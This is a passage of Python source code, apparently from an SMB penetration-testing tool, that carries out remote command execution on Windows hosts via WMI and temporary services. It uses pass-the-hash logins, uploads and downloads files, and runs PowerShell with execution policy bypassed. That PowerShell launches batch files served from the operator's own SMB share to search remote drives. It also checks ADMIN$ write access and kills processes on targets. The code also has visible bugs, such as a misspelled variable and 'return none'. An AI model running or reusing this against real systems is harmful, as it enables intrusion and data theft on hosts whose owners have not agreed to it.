self._progress = '\\|/-\\|/-' self._msg = '{}{}'.format(msg, ' '*100) def update(self, msg): self._msg = '{}{}'.format(msg, ' '*100) def terminate(self): self.__flag.set() self.__running.clear() def pause(self): self.__flag.clear() def resume(self): self.__flag.set() def cleanup(self): print(' '*100, end='\r') print('\r', end='\r') def run(self): global SEND_UPDATE_MSG while self.__running.is_set(): for char in self._progress: if SEND_UPDATE_MSG: self.__flag.wait() print('[{}] {}'.format(char, self._msg), end='\r') print('\r', end='\r') time.sleep(0.05) class SimpleSMBServer(Thread): def __init__(self, interface_address, port): Thread.__init__(self) self.smbserver = smbserver.SimpleSMBServer(listenAddress = interface_address, listenPort = int(port)) self.smbserver.addShare(PSUTIL_SHARE, PSUTIL_DIR, shareComment='P0w3r$he11') self.smbserver.setSMB2Support(True) def run(self): self.smbserver.start() def stop(self): self.smbserver.stop() class SMBServer(Thread): def __init__(self): Thread.__init__(self) self.smb = None print('[+] Initializing SMB server..') def cleanup_server(self): logging.info('Cleaning up..') try: os.unlink(SMBSERVER_DIR + '/smb.log') except: pass os.rmdir(SMBSERVER_DIR) def run(self): # Here we write a mini config for the server smbConfig = configparser.ConfigParser(allow_no_value=True) smbConfig.add_section('global') smbConfig.set('global','server_name','nopsec') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file', SMBSERVER_DIR + '/smb.log') smbConfig.set('global','credentials_file','') # Let's add a dummy share smbConfig.add_section(DUMMY_SHARE) smbConfig.set(DUMMY_SHARE,'comment','') smbConfig.set(DUMMY_SHARE,'read only','no') smbConfig.set(DUMMY_SHARE,'share type','0') smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path') self.smb = smbserver.SMBSERVER(('0.0.0.0', 445), config_parser = smbConfig) try: os.mkdir(SMBSERVER_DIR) except Exception as e: pass self.smb.processConfigFile() self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.__wkstServer = WKSTServer() self.__wkstServer.daemon = True self.smb.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) self.smb.registerNamedPipe('wkssvc',('127.0.0.1',self.__wkstServer.getListenPort())) try: print('[+] SMB server started...') self.__srvsServer.start() self.__wkstServer.start() self.smb.serve_forever() except Exception as e: print('[!] Error starting SMB server: ', e) pass def stop(self): self.cleanup_server() self.smb.socket.close() self.smb.server_close() self._Thread__stop() class WMIEXEC: def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, noOutput=False, doKerberos=False, kdcHost=None, scr_output=True): self.__command = command self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__share = share self.__noOutput = noOutput self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__disp_output = scr_output self.shell = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShellWMI(self.__share, win32Process, smbConnection, self.__disp_output) if self.__command != ' ': output = self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() #sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() return output class RemoteShellWMI(cmd.Cmd): def __init__(self, share, win32Process, smbConnection, disp_output=True): cmd.Cmd.__init__(self) self.__share = share self.__output = '\\' + OUTPUT_FILENAME self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__win32Process = win32Process self.__transferClient = smbConnection self.__pwd = 'C:\\' self.__noOutput = False self.__disp_output = disp_output self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: self.__transferClient.setTimeout(100000) self.do_cd('\\') else: self.__noOutput = True def do_shell(self, s): os.system(s) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) get {file} - downloads pathname to the current local dir ! {cmd} - executes a local shell cmd """) def do_lcd(self, s): if s == '': print(os.getcwd()) else: try: os.chdir(s) except Exception as e: logging.error(str(e)) def do_get(self, src_path): try: newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) fh = open(filename,'wb') logging.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) fh.close() except Exception as e: logging.error(str(e)) os.remove(filename) pass def do_put(self, s): try: params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') dst_path = string.replace(dst_path, '/','\\') pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file) drive, tail = ntpath.splitdrive(pathname) logging.info("Uploading %s to %s" % (src_file, pathname)) self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) fh.close() except Exception as e: logging.critical(str(e)) pass def do_exit(self, s): return True def emptyline(self): return False def do_cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' def default(self, line): # Let's try to guess if the user is trying to change drive if len(line) == 2 and line[1] == ':': # Execute the command and see if the drive is valid self.execute_remote(line) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = '' else: # Drive valid, now we should get the current path self.__pwd = line self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' else: if line != '': x = inspect.currentframe() y = inspect.getouterframes(x,2) return self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data.decode() if self.__noOutput is True: self.__outputBuffer = '' return while True: try: self.__transferClient.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait time.sleep(1) pass else: pass self.__transferClient.deleteFile(self.__share, self.__output) return self.__output def execute_remote(self, data): command = self.__shell + data if self.__noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' self.__win32Process.Create(command, self.__pwd, None) self.get_output() def send_data(self, data): self.execute_remote(data) if self.__disp_output: print(self.__outputBuffer) __lastCmdOutput = self.__outputBuffer self.__outputBuffer = '' return __lastCmdOutput class CMDEXEC: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, noOutput=False, doKerberos=None, kdcHost=None, mode='SHARE', share=None, port=445, command=None): self.__username = username self.__password = password self.__port = port self.__serviceName = OUTPUT_FILENAME self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__share = share self.__mode = mode self.shell = None self.command = command if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def run(self, remoteName, remoteHost): tringbinding = 'ncacn_np:%s[\\pipe\\svcctl]' % remoteName logging.debug('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) if hasattr(rpctransport,'setRemoteHost'): rpctransport.setRemoteHost(remoteHost) else: rpctransport.__dstip = remoteHost if hasattr(rpctransport,'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.shell = None try: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.daemon = True serverThread.start() self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) self.shell.send_data(self.command) if self.__mode == 'SERVER': serverThread.stop() except (Exception, KeyboardInterrupt) as e: print('[!] Something went wrong:', str(e)) class RemoteShell(cmd.Cmd): def __init__(self, share, rpc, mode, serviceName): cmd.Cmd.__init__(self) self.__share = share self.__mode = mode self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME self.__batchFile = '%TEMP%\\' + BATCH_FILENAME self.__outputBuffer = '' self.__command = '' self.__shell = '%COMSPEC% /Q /c ' self.__serviceName = serviceName self.__rpc = rpc self.__scmr = rpc.get_dce_rpc() try: self.__scmr.connect() except Exception as e: logging.critical(str(e)) #print(e) #sys.exit(1) s = rpc.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if mode == 'SERVER': myIPaddr = s.getSMBServer().get_socket().getsockname()[0] self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] self.transferClient = rpc.get_smb_connection() self.do_cd('') def finish(self): # Just in case the service is still created try: self.__scmr = self.__rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) except: pass def do_shell(self, s): os.system(s) def do_exit(self, s): return True def emptyline(self): return False def do_cd(self, s): # We just can't CD or mantain track of the target dir. if len(s) > 0: logging.error("You can't CD under SMBEXEC. Use full paths.") self.execute_remote('cd ' ) if len(self.__outputBuffer) > 0: # Stripping CR/LF self.prompt = self.__outputBuffer.replace('\r\n','') + '>' self.__outputBuffer = '' def do_CD(self, s): return self.do_cd(s) def default(self, line): if line != '': self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data.decode() if self.__mode == 'SHARE': self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback) self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) else: fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') output_callback(fd.read()) fd.close() os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) def execute_remote(self, data): command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + self.__batchFile logging.debug('Executing %s' % command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output() def send_data(self, data): self.execute_remote(data) print(self.__outputBuffer) self.__outputBuffer = '' class SMBMap(): KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } def __init__(self): self.recursive = False self.dir_only = False self.list_files = False self.admin_only = False self.loading = False self.verbose = True self.shares = {} self.isLoggedIn = False self.pattern = None self.grepable = False self.outfile = None self.csv = False self.csv_writer = None self.hosts = {} self.jobs = {} self.search_output_buffer = '' self.loader = None self.exclude = [] def logout(self, host): try: for session in self.hosts[host]['smbconn']: session.logoff() return True except: return False def start_smb_server(self): try: smb_server = SimpleSMBServer('0.0.0.0', 445) smb_server.daemon = True smb_server.start() return smb_server except Exception as e: print('[!] Run as r00t, or maybe something is using port 445...') self.kill_loader() return False sys.exit(1) def start_file_search(self, host, pattern, share, search_path): try: myIPaddr = self.get_ip_address() job_name = uuid.uuid4().hex tmp_dir = self.exec_command(host, share, 'echo %TEMP%', disp_output=False).strip() if len(tmp_dir) == 0: tmp_dir = 'C:\\Windows\\Temp' tmp_bat_cmd = 'powershell -NoLogo -ExecutionPolicy bypass -Command " & {}Get-ChildItem {}\\*.* -Recurse -Exclude *.dll,*.exe,*.msi,*.jpg,*.gif,*.bmp,*.png,*.mp3,*.wav | Select-String -Pattern \'{}\' | Select-Object -Unique Path | out-string -width 220{}" 2>nul > {}\\{}.txt'.format('{', search_path, pattern, '}', tmp_dir, job_name) tmp_bat = open('./{}/{}.bat'.format(PSUTIL_DIR, job_name), 'w') tmp_bat.write(tmp_bat_cmd) tmp_bat.close() ps_command = 'powershell -ExecutionPolicy bypass -NoLogo -command "Start-Process """cmd.exe""" """/c \\\\{}\\{}\\{}.bat""" "'.format(myIPaddr, PSUTIL_SHARE, job_name) success = self.exec_command(host, share, ps_command, disp_output=False) print('[+] Job {} started on {}, result will be stored at {}\\{}.txt'.format(job_name, host, tmp_dir, job_name)) proc_id = self.get_job_procid(host, share, tmp_dir, job_name) if len(proc_id) > 0: proc_id = [j.strip() for j in proc_id.split('\n') if len(j) > 0] self.jobs[job_name] = { 'host' : host, 'share' : share, 'tmp' : tmp_dir , 'pattern' : pattern, 'start_time': time.perf_counter() , 'proc_id' : proc_id } except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] #print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno)) sys.stdout.flush() print('[!] Job creation failed on host: %s. Did you run as r00t?' % (host)) def get_job_procid(self, host, share, path, job): try: myIPaddr = self.get_ip_address() file_path = '{}\\{}.txt'.format(path, job) command = 'powershell -NoLogo -ExecutionPolicy bypass -File \\\\{}\\{}\\Get-FileLockProcess.ps1 "{}"'.format(myIPaddr, PSUTIL_SHARE, file_path) result = self.exec_command(host, share, command, disp_output=False) return result except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] print('[!] WTF: {} on line {}'.format(e, exc_tb.tb_lineno)) sys.stdout.flush() def get_search_results(self, timeout): print('[+] Checking on search results, be patient, drives tend to be big...') counter = 0 num_jobs = len(list(self.jobs.keys())) start_time = time.perf_counter() while len(list(self.jobs.keys())) > 0: try: for job in list(self.jobs.keys()): isItThere = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "if exist {}\\{}.txt echo ImHere"'.format(self.jobs[job]['tmp'], job), disp_output=False) result = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "2>nul (>>{}\\{}.txt (call )) && (echo not locked) || (echo locked)"'.format(self.jobs[job]['tmp'], job), disp_output=False) if 'not locked' == result.strip() and isItThere.strip() == 'ImHere': dl_target = '%s%s\\%s.txt' % (self.jobs[job]['share'], self.jobs[job]['tmp'][2:], job) host_dest = download_file(self.hosts[self.jobs[job]['host']]['smbconn'][0], dl_target) counter += 1 self.search_output_buffer += 'Host: %s \t\tPattern: %s\n' % (self.jobs[job]['host'], self.jobs[job]['pattern']) if os.stat(host_dest).st_size > 0: results_file = open(host_dest) self.search_output_buffer += results_file.read() self.search_output_buffer += '\n' else: self.search_output_buffer += 'No matching patterns found\n\n' print('[+] Job %d of %d completed on %s...' % (counter, num_jobs, self.jobs[job]['host'])) self.delete_file(self.jobs[job]['host'], dl_target) os.remove('./{}/{}.bat'.format(PSUTIL_DIR, job)) self.jobs.pop(job, None) if counter >= num_jobs: break else: if time.perf_counter()-self.jobs[job]['start_time'] > int(timeout): print('[!] Job {} is taking a long time....it\'s getting punted'.format(job)) for pid in self.jobs[job]['proc_id']: kill_job = 'taskkill /PID {} /F'.format(pid) success = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], kill_job, disp_output=False) os.remove('./{}/{}.bat'.format(PSUTIL_DIR, job)) time.sleep(10) except Exception as e: print('[!]', e) print('[+] All jobs complete') print(self.search_output_buffer) def get_ip_address(self): myIPaddr = '' s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(('10.255.255.255', 1)) myIPaddr = s.getsockname()[0] except: myIPaddr = '127.0.0.1' finally: s.close() return myIPaddr def list_drives(self, host, share): counter = 0 disks = [] try: local_disks = self.exec_command( host, share, 'fsutil fsinfo drives', disp_output=False) net_disks_raw = self.exec_command( host, share, 'net use', disp_output=False) net_disks = '' for line in net_disks_raw.split('\n'): if ':' in line: data = line.split(' ') data = [a for a in data if a != ''] for item in data: counter += 1 net_disks += '%s\t\t' % (item) if '\\' in item: net_disks += ' '.join(data[counter:]) break disks.append(net_disks) net_disks = '' print('[+] Host %s Local %s' % (host, local_disks.strip())) print('[+] Host %s Net Drive(s):' % (host)) if len(disks) > 0: for disk in disks: print('\t%s' % (disk)) else: print('[*] No mapped network drives') pass except Exception as e: print('[!] Error on {}: {}'.format(host, e)) def kill_loader(self): self.loading = False if self.loader: self.loader.terminate() self.loader.join() self.loader.cleanup() self.loader = None def filter_results(self, pattern): pass def exec_command(self, host, share, command, disp_output=True, host_name=None, mode='wmi'): try: if self.is_ntlm(self.hosts[host]['passwd']): hashes = self.hosts[host]['passwd'] else: hashes = None if mode == 'wmi': executer = WMIEXEC(username=self.hosts[host]['user'], password=self.hosts[host]['passwd'], hashes=hashes, share=share, command=command, scr_output=disp_output) result = executer.run(host) else: executer = CMDEXEC(username=self.hosts[host]['user'], password=self.hosts[host]['passwd'], hashes=hashes, share=share, command=command) result = executer.run(host_name, host) return result except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() print('[!] Something weird happened on ({}) {} on line {}'.format(host, e, exc_tb.tb_lineno)) sys.stdout.flush() return none def delete_file(self, host, path): path = path.replace('/','\\') path = ntpath.normpath(path) filename = path.split('\\')[-1] share = path.split('\\')[0] path = path.replace(share, '', 1) path = path.replace(filename, '') try: self.hosts[host]['smbconn'][0].deleteFile(share, path + filename) if self.verbose: print('[+] File successfully deleted: %s%s%s' % (share, path, filename)) except SessionError as e: if 'STATUS_ACCESS_DENIED' in str(e): print('[!] Error deleting file, access denied') elif 'STATUS_INVALID_PARAMETER' in str(e): print('[!] Error deleting file, invalid path') elif 'STATUS_SHARING_VIOLATION' in str(e): print('[!] Error deleting file, sharing violation') elif 'STATUS_FILE_IS_A_DIRECTORY' in str(e): self.hosts[host]['smbconn'][0].deleteDirectory(share, path) #self.remove_dir(host, share, path) else: print('[!] Error deleting file %s%s%s, unknown error' % (share, path, filename)) print('[!]', e) except Exception as e: print('[!] Error deleting file %s%s%s, unknown error' % (share, path, filename)) print('[!]', e) def upload_file(self, host, src, dst): dst = dst.replace('/','\\') dst = ntpath.normpath(dst) dst = dst.split('\\') share = dst[0] dst = '\\'.join(dst[1:]) if os.path.exists(src): print('[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src))) upFile = open(src, 'rb') try: self.hosts[host]['smbconn'][0].putFile(share, dst, upFile.read) print('[+] Upload complete') except Exception as e: print('[!]', e) print('[!] Error uploading file, you need to include destination file name in the path') upFile.close() else: print('[!] Invalid source. File does not exist') sys.exit() def is_ntlm(self, password): try: if len(password.split(':')) == 2: lm, ntlm = password.split(':') if len(lm) == 32 and len(ntlm) == 32: return True else: return False except Exception as e: return False def init_host( host_args ): ip = host_args['ip'] port = host_args['port'] user = host_args['user'] passwd = host_args['passwd'] domain = host_args['domain'] lmhash = host_args['lmhash'] nthash = host_args['nthash'] kdc_host = host_args['kdc_host'] try: return { 'ip' : socket.gethostbyname(ip), 'name' : socket.getnameinfo((ip, port),0)[0] , 'port' : port, 'user' : user, 'passwd' : passwd, 'domain' : domain, 'lmhash' : lmhash, 'nthash' : nthash, 'smbconn' : [] ,'kdc' : kdc_host } except Exception as e: return { 'ip' : socket.gethostbyname(ip), 'name' : ip, 'port' : 445, 'user' : user, 'passwd' : passwd, 'domain' : domain, 'lmhash' : lmhash, 'nthash' : nthash , 'smbconn' : [] , 'kdc' : kdc_host } def close_smb_connection( logoff_args ): try: smbconn = logoff_args['smbconn'] return smbconn.logoff() except: return False def get_version( version_args ): smbconn = version_args['smbconn'] host = version_args['host'] domain = smbconn.getServerDomain() if not domain: domain = smbconn.getServerName() version = smbconn.getServerOS() name = smbconn.getServerName() return { 'Host' : '{:<16}'.format(host), 'Version' : version, 'Name' : name, 'Domain' : domain } def signal_handler(signal, frame): print('[*] You pressed Ctrl+C!') os._exit(0) def find_open_ports(address): result = 1 address = address.strip() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(PORT_SCAN_TIMEOUT) result = sock.connect_ex((address, 445)) if result == 0: sock.close() return address else: return False except Exception as e: return False def to_string(smb_tree, mysmb): if mysmb.verbose: header = '\tDisk{}\tPermissions\tComment\n'.format(' '.ljust(50)) header += '\t----{}\t-----------\t-------'.format(' '.ljust(50)) heads_up = False priv_status = '' try: for host in smb_tree.keys(): if mysmb.hosts[host]['smbconn'][0].isGuestSession() > 0: priv_status = 'Status: ' + colored('Guest session \t', 'yellow') try: if smb_tree[host]['ADMIN$']['privs'] == 'READ, WRITE': priv_status = 'Status: ' + colored('ADMIN!!!', 'green', attrs=['bold','underline']) + ' \t' if mysmb.admin_only: print(' '*100) print('[+] IP: {}:{}\tName: {}\t{}'.format(host, mysmb.hosts[host]['port'], mysmb.hosts[host]['name'].ljust(20), priv_status )) else: priv_status = 'Status: ' + colored ('Authenticated', 'green') except: priv_status = 'Status: ' + colored ('NULL Session', 'green') for share in smb_tree[host].keys(): if smb_tree[host][share]['privs'] == 'READ, WRITE': share_name_privs = colored('READ, WRITE', 'green') if smb_tree[host][share]['privs'] == 'READ ONLY': share_name_privs = colored('READ ONLY', 'yellow') if smb_tree[host][share]['privs'] == 'NO ACCESS': share_name_privs = colored('NO ACCESS', 'red') if mysmb.admin_only == False: if heads_up == False and mysmb.verbose: print(' '*100) print('[+] IP: {}:{}\tName: {}\t{}'.format(host, mysmb.hosts[host]['port'], mysmb.hosts[host]['name'].ljust(20), priv_status )) print(header) heads_up = True if mysmb.verbose == True: print('\t{}\t{}\t{}'.format(share.ljust(50), share_name_privs, smb_tree[host][share]['comment'] ) ) #elif mysmb.verbose == False and smb_tree[host][share]['privs'] != 'NO ACCESS': # print('\t{}\t{}\t{}'.format(share.ljust(50), share_name_privs, smb_tree[host][share]['comment'] ) ) if mysmb.csv and mysmb.recursive == False: if ( mysmb.verbose == False and smb_tree[host][share]['privs'] != 'NO ACCESS') or mysmb.verbose == True: row = {} row['Host'] = host row['Share'] = share row['Privs'] = smb_tree[host][share]['privs'].replace(',','').replace(' ', '_') row['Comment'] = smb_tree[host][share]['comment'] mysmb.writer.writerow(row) if mysmb.grepable and len(smb_tree[host][share]['contents'].keys()) == 0: mysmb.outfile.write('host:{}, share:{}, privs:{}\n'.format(host, share, smb_tree[host][share]['privs'].replace(',','').replace(' ', '_'))) if mysmb.recursive: for path in smb_tree[host][share]['contents'].keys(): if mysmb.grepable == False and mysmb.csv == False and mysmb.verbose: if len(path) > 0 and path[0] == '/': print('\t./{}/{}'.format(share, path)) else: print('\t./{}{}'.format(share, path)) for file_info in smb_tree[host][share]['contents'][path]: isDir = file_info['isDir'] readonly = file_info['readonly'] filesize = file_info['filesize'] date = file_info['date'] filename = file_info['filename'] if mysmb.verbose and mysmb.grepable == False and mysmb.csv == False and ((mysmb.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and mysmb.dir_only == False)): print('\t%s%s--%s--%s-- %s %s\t%s' % (isDir, readonly, readonly, readonly, str(filesize).rjust(16), date, filename)) if mysmb.grepable: if filename != '.' and filename != '..': if (mysmb.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and mysmb.dir_only == False): mysmb.outfile.write('host:{}, share:{}, privs:{}, isDir:{}, path:{}/{}/{}, fileSize:{}, date:{}\n'.format(host, share, smb_tree[host][share]['privs'].replace(',','').replace(' ', '_'), isDir, share, path, filename, str(filesize), date)) elif mysmb.csv: if filename != '.' and filename != '..': if (mysmb.dir_only == True and isDir == 'd') or ( (isDir == 'f' or isDir == 'd') and mysmb.recursive ): row = {} row['Host'] = host row['Share'] = share row['Privs'] = smb_tree[host][share]['privs'].replace(',','').replace(' ', '_') row['isDir'] = isDir row['Path'] = '{}/{}/{}'.format(share, path, filename) row['fileSize'] = str(filesize) row['Date'] = date mysmb.writer.writerow(row) heads_up = False except Exception as e: print('[!] Bummer: ', e) def get_shares( share_args ): # shares_args is a dict object with the following keys # # --Key-- --Description-- # # smbconn SMB connection object # host IP address # write_check determine if WRITE permissions are assisgned # exclude list of shares to exclude, like ipc$ # # Returns a dict objects: # {ip_address : {share_name : {'privs': 'val', 'comment' : 'val'} } } # # Example ThreadPool return set: # [{'192.168.86.48': { # 'print$': {'privs': 'NO ACCESS', 'comment': 'Printer Drivers'}, # 'HP_LaserJet_1020': {'privs': 'NO ACCESS', 'comment': ''} } # }, # {'192.168.86.106': { # 'ADMIN$': {'privs': 'READ, WRITE', 'comment': 'Remote Admin'}, # 'C': {'privs': 'READ ONLY', 'comment': ''}, # 'C$': {'privs': 'READ, WRITE', 'comment': 'Default share'}, # 'Users': {'privs': 'READ, WRITE', 'comment': ''}} # } ] share_tree = {} if share_args['smbconn'].getDialect(): try: shareList = share_args['smbconn'].listShares() shares = [] for item in range(len(shareList)): shares.append( (shareList[item]['shi1_netname'][:-1], shareList[item]['shi1_remark'][:-1]) ) share_privs = '' share_comment = '' host = share_args['host'] share_tree[host] = {} for share in shares: if share[0].lower() not in share_args['exclude']: share_name = share[0] share_comment = share[1] share_tree[host][share_name] = {} canWrite = False readonly = False noaccess = False if share_args['write_check']: try: root = PERM_DIR.replace('/','\\') root = ntpath.normpath(root) create_dir(share_args['smbconn'], share_name, root) share_tree[host][share_name]['privs'] = 'READ, WRITE' canWrite = True try: remove_dir(share_args['smbconn'], share_name, root) except Exception as e: print('[!] Unable to remove test directory at \\\\%s\\%s\\%s, please remove manually' % (host, share_name, root)) except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] #print(exc_type, fname, exc_tb.tb_lineno) sys.stdout.flush() if canWrite == False: try: root = PERM_DIR.replace('/','\\') root = '{}.txt'.format(ntpath.normpath(root)) create_file(share_args['smbconn'], share_name, root) share_tree[host][share_name]['privs'] = 'READ, WRITE' canWrite = True try: remove_file(share_args['smbconn'], share_name, root) except Exception as e: if 'STATUS_OBJECT_NAME_NOT_FOUND' in str(e): pass else: print('[!] Unable to remove test file at \\\\{}\\{}\\{}, please remove manually'.format(host, share_name, root)) except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] #print(exc_type, fname, exc_tb.tb_lineno) sys.stdout.flush() try: if share_args['smbconn'].listPath(share_name, pathify('/')) and canWrite == False: readonly = True share_tree[host][share_name]['privs'] = 'READ ONLY' except Exception as e: noaccess = True share_tree[host][share_name]['privs'] = 'NO ACCESS' share_tree[host][share_name]['comment'] = share_comment return share_tree except SessionError as e: print('[!] Access denied on {}, no fun for you...'.format(share_args['host'])) except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] print('[!] Something weird happened on ({}) {} on line {}'.format(share_args['host'], e, exc_tb.tb_lineno)) sys.stdout.flush() return {} def list_path( list_args ): # list_args is a dict object with the following keys # # --Key-- --Description-- # # smbconn SMB connection object # share share drive to list (ls) # path path on drive to list # path_list child path list (it's a recursive function) # depth how many nodes deep to traverse the tree # pattern pattern to match against file names # dir_only list only directories, skip files pwd = pathify(list_args['path']) width = 16 share = list_args['share'] depth = list_args['depth'] path = list_args['path'] host = list_args['host'] if list_args['path_list'] is None: list_args['path_list'] = {} path_list = { host : { share : {} } } else: path_list = list_args['path_list'] try: raw_path_list = list_args['smbconn'].listPath(share, pwd) path_list[host][share][path] = [] for item in raw_path_list: filesize = item.get_filesize() readonly = 'w' if item.is_readonly() > 0 else 'r' date = time.ctime(float(item.get_mtime_epoch())) isDir = 'd' if item.is_directory() > 0 else 'f' filename = item.get_longname() if isDir == 'f': if list_args['pattern']: fileMatch = re.search(list_args['pattern'].lower(), filename.lower()) if fileMatch: if len(path) > 0 and path[0] == '/': dlThis 